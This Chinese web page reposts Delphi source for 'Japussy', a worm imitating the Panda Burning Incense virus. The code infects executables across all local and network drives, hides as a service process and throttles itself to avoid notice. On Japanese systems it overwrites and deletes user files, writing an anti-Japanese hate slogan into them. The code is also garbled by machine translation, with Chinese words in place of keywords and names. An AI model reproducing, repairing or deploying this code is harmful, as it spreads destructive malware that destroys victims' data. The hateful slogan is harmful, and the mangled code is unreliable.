Delphi版模仿熊猫烧香病毒核心源码

Delphi版模仿熊猫烧香病毒核心源码,第1张

Delphi版模仿熊猫烧香病毒核心源码,第2张

下面是一段引文:

程序Japussy
使用
Windows、SysUtils、Classes、Graphics、ShellAPI{、ReGIStry };
const
header size = 82432;//病毒体大小
icon offset = $ 12eb 8;//PE文件//主图标的偏移量

/我的Delphi5 SP1上编译的大小可能和其他版本的Delphi不一样
/找十六进制字符串280000020求主图标的偏移量
{
head///Upx压缩的病毒体大小
icon offset = $ 92BC;//Upx压缩了PE文件主图标的偏移量

/UPX 1.24W用法:UPX-9-8086japussy.exe
}
icon ize = $ 2 E8;//PE文件主图标的大小//744字节
icon tail = icon offset+iconsize;//PE文件主图标的尾部
ID = $ 4444444;//感染标记

//垃圾代码编写
catch word = '如果一个种族需要被消灭,那一定是大和'+
'如果一个国家需要被摧毁,那一定是日本!'+
'*** W32。japussy . worm . a * * *’;
{$R *。RES }
function RegisterServiceProcess(dwProcessID,dw type:Integer):Integer;
stdcall;外部“kernel 32 . dll”;//函数声明
var
TmpFile:string;
Si:startup info;
Pi:PROCESS _ INFORMATION;
is jap:Boolean = False;//日文操作系统标志
{判断是否是Win9X}
函数是Win9X:boolean;
var
Ver:to version info;
begin
Result:= False;
ver . dwosversioninfosize:= SizeOf(TOSVersionInfo);
如果不是GetVersionEx(Ver ),则
退出;
if(ver . dwplatformid = VER _平台_ WIN32 _ WINDOWS)then//Win9x
Result:= True;
end;
{流间复制}
过程复制流(src:tstream;sStartPos:整数;dst:TStream;
dStartPos:Integer;计数:整数);
var
sCurPos,dCurPos:Integer;
begin
sCurPos := Src。位置;
dCurPos := Dst。位置;
Src。Seek(sStartPos,0);
夏令时。Seek(dStartPos,0);
夏令时。CopyFrom(Src,Count);
Src。Seek(sCurPos,0);
夏令时。Seek(dCurPos,0);
end;
{将主机文件与受感染的PE文件分开使用}
ProcedureExtract文件(文件名:字符串);
var
sStream,dStream:TFileStream;
begin
try
sStream:= TFileStream。Create(ParamStr(0),fmOpenRead或fmShareDenyNone);
try
dStream:= TFileStream。创建(文件名,fmCreate);
尝试
sStream。Seek(HeaderSize,0);//跳过头的病毒部分
dstream.copyfrom (sstream,sstream . size-头大小);
最后
dStream。免费;
end;
最后
流。免费;
end;
除了
end;
end;
{填充STARTUPINFO结构}
过程填充启动信息(var si:Startup Info;状态:Word);
begin
Si . CB:= SizeOf(Si);
si . LP reserved:= nil;
si . lpdesktop:= nil;
si . LP title:= nil;
si . dw flags:= STARTF _ USESHOWWINDOW;
si . wshowindow:= State;
si . CB reserved 2:= 0;
si . LP reserved 2:= nil;
end;
{发送有害邮件}
过程SendMail
begin
//谁愿意完成它?
end;
{感染PE文件}
过程感染文件(文件名:字符串);
var
HdrStream,SrcStream:TFileStream;
IcoStream,dst stream:TMemoryStream;
iID:LongInt;
aIcon:TIcon;
Infected,IsPE:Boolean;
i:整数;
Buf: array[0..1]的字符;
begin
try //如果出现问题,文件正在被使用。Exit
如果compare text (filename,' japussy.exe') = 0那么//如果是你自己,就不会感染
Exit;
已感染:= False
IsPE:= False;
SrcStream := TFileStream。Create(文件名,fmOpenRead);
try
for I:= 0 to $ 108 do//Check PE文件头
begin
srcstream . seek(I,sofrombinging);
SrcStream。Read(Buf,2);
if(buf[0]= # 80)and(buf[1]= # 69)then//PE mark
begin
IsPE:= True;//是PE文件
Break;
end;
end;
//本文转自c++ Builder Research-http://www . cc run . com/article。ASP?i=1009&d=72ladj
SrcStream。Seek(-4,soFromEnd);//检查感染标记
SrcStream。改为(iID,4);
if (iid = id)或(srcstream . size < 10240)then//太小的文件不会被感染
Infected:= True;
最后
SrcStream。免费;
end;
如果被感染或(非ispe)则//如果被感染或不是pe文件,则退出

IcoStream := TMemoryStream。创建;
DstStream := TMemoryStream。创建;
试试
aIcon := TIcon。创建;
try
//获取被感染文件的主图标(744字节)并存储在stream
aIcon中。释放句柄;
爱康。Handle := ExtractIcon(HInstance,PChar(FileName),0);
爱康。SaveToStream(IcoStream);
最后
aIcon。免费;
end;
SrcStream := TFileStream。Create(文件名,fmOpenRead);
//头文件
HDR stream:= tfilestream . create(paramstr(0),fmopenread或fmsharednenone);
尝试
/写入病毒体主图标前的数据
copystream (HDR流,0,dststream,0,icon offset);
//编写当前程序的主图标
copystream (icostream,22,dststream,iconoffset,iconsize);
//写病毒体主图标和病毒体尾部之间的数据
copystream (HDR流,图标尾,dststream,图标尾,header-icon尾);
//写入宿主程序
copystream (srcstream,0,dststream,headersize,src stream . size);
//写入受感染的标记
DstStream。Seek(0,2);
iID:= $ 4444444;
DstStream。Write(iID,4);
最后
HdrStream。免费;
end;
最后
SrcStream。免费;
IcoStream。免费;
DstStream。SaveToFile(文件名);//替换宿主文件
DstStream。免费;
end;
除外;
end;
end;

{将目标文件写入垃圾代码并删除}
过程smash文件(文件名:字符串);
var
file handle:Integer;
i,Size,Mass,Max,Len:Integer;
begin
try
setfile attributes(PChar(FileName),0);//移除只读属性
file handle:= FileOpen(filename,fmopenwrite);//打开文件
try
size:= get filesize(file handle,nil);//文件大小
I:= 0;
随机化;
Max:= Random(15);//写垃圾代码的随机次数
如果Max < 5那么
Max:= 5;
Mass:= Size div Max;//每个间隔块的大小
Len := Length(流行语);
while I < Max do
begin
FileSeek(file handle,i * Mass,0);//定位
//写垃圾代码,彻底销毁文件
FileWrite (FileHandle,Catchword,Len);
公司(一);
end;
finally
file close(file handle);//关闭文件
end;
delete file(PChar(FileName));//删除了除
end以外的
;
end;
{获取可写驱动器列表}
函数Get drives:string;
var
disk type:Word;
D:Char;
Str:string;
i:整数;
begin
for I:= 0 to 25 do//遍历26个字母
begin
D:= Chr(I+65);
Str:= D+':';
disk type:= get drive type(PChar(Str));
//获取本地磁盘和网络磁盘
if(磁盘类型= drive _ fixed) or(磁盘类型= drive _ remote)then
result:= result+d;
end;
end;
{遍历目录,感染和破坏文件}
过程循环文件(path,mask:string);
var
i,Count:Integer;
Fn,Ext:string;
SubDir:TStrings;
search rec:TSearchRec;
Msg:TMsg;
function is validir(search rec:TSearchRec):Integer;
begin
if(search rec . attr 16)and(search rec . name ' . ')和
(searchrec.name ' .. ')然后
result:= 0//not a directory
else if(search rec . attr = 16)and(search rec . name ' . ')和
(searchrec.name ' .. ')那么
结果:= 1//不是根目录
否则结果:= 2;//是根目录
end;
begin
if(FindFirst(Path+Mask,faAnyFile,search rec)= 0)then
begin
repeat
PeekMessage(Msg,0,0,0,PM _ REMOVE);//调整消息队列以避免怀疑
if is valid dir(search rec)= 0 then
begin
fn:= path+search rec . name;
Ext :=大写(ExtractFileExt(Fn));
if (Ext = '。EXE ')或(Ext = '。SCR ')然后
begin
infection efile(Fn);//感染可执行文件
end
else if (ext = '。htm ')或(ext = '。HTML ')或(ext = '。ASP ')然后
开始
//感染HTML和ASP文件,如果ext = '将
结束
else。wab '然后//Outlook通讯簿文件
开始
/获取Outlook电子邮件地址
结束
否则,如果ext = '。ADC' then// Foxmail地址自动完成文件
BEGIN
/Get Foxmail地址
END
Else if ext = ' ind ' then//Foxmail地址簿文件
BEGIN
Get Foxmail地址
Else
BEGIN
if is jap then//is Japan操作系统
begin
if (ext = '。doc ')或(ext = '。xls ')或(ext = ')。(Ext = '.MP3 ')或(Ext = '。RM ')或(Ext = '。RA ')或
(Ext = '。WMA ')或(Ext = '。ZIP ')或(Ext = '。RAR ')或
(Ext = '。MPEG ')或(Ext = '。ASF ')或(Ext = '。JPG ')或
(Ext = '。JPEG ')或(Ext = '。GIF ')或(Ext = '。SWF ')或
(Ext = '。PDF ')或(Ext = '。CHM ')或(Ext = '。AVI’)然后
SmashFile(Fn);//销毁文件
end;
end;
end;
//感染或删除一个文件后休眠200ms,避免CPU利用率高引起的怀疑
Sleep(200);
until(FindNext(search rec)0);
end;
FindClose(search rec);
SubDir := TStringList。创建;
if (FindFirst(Path + '*。*,faDirectory,SearchRec) = 0)然后
begin
repeat
if is valid dir(search rec)= 1然后
SubDir。添加(SearchRec。姓名);
until(FindNext(search rec)0);
end;
FindClose(search rec);
Count := SubDir。count-1;
for i := 0计算do
LoopFiles(Path + SubDir。Strings[i] +' ',Mask);
FreeAndNil(SubDir);
end;
{遍历磁盘上的所有文件}
过程InfectFiles
var
driver list:string;
i,Len:Integer;
begin
ifgetacp = 932 then//日文操作系统
is jap:= True;//去死吧!
driver list:= get drives;//获取一个可写的磁盘列表
Len:= Length(driver list);
while True do //无限循环
begin
for I:= len down to//遍历每个磁盘驱动器
循环文件(driverlist [I]+':',' *。*');//被感染的
SendMail;//发一封毒邮件
睡眠(1000 * 60 * 5);//睡眠5分钟
结束;
end;
{主程序启动}
开始
如果是win9x则//是win9x
registerserviceprocess(getcurrentprocessid,1)//注册为服务进程
否则//winnt

结束;
//如果是原病毒本身
如果比较文本(extract filename (paramstr (0)),' japussy.exe') = 0那么
感染文件//感染并发送邮件
否则//已经寄生在宿主程序上。//创建一个临时文件
delete (tmpfile,length (tmpfile)-4,4);
TmpFile := TmpFile + #32 +'。exe ';//真正的宿主文件,多一个空grid
extract file(TmpFile);//分隔
填充启动信息(si,SW _ show默认);
CreateProcess(PChar(TmpFile),PChar(TmpFile),nil,nil,True,
0,nil,'。,Si,Pi);//为要运行的新进程创建
infect files;//感染和邮件
结束;
结束。

位律师回复
DABAN RP主题是一个优秀的主题,极致后台体验,无插件,集成会员系统
白度搜_经验知识百科全书 » Delphi版模仿熊猫烧香病毒核心源码

0条评论

发表评论

提供最优质的资源集合

立即查看 了解详情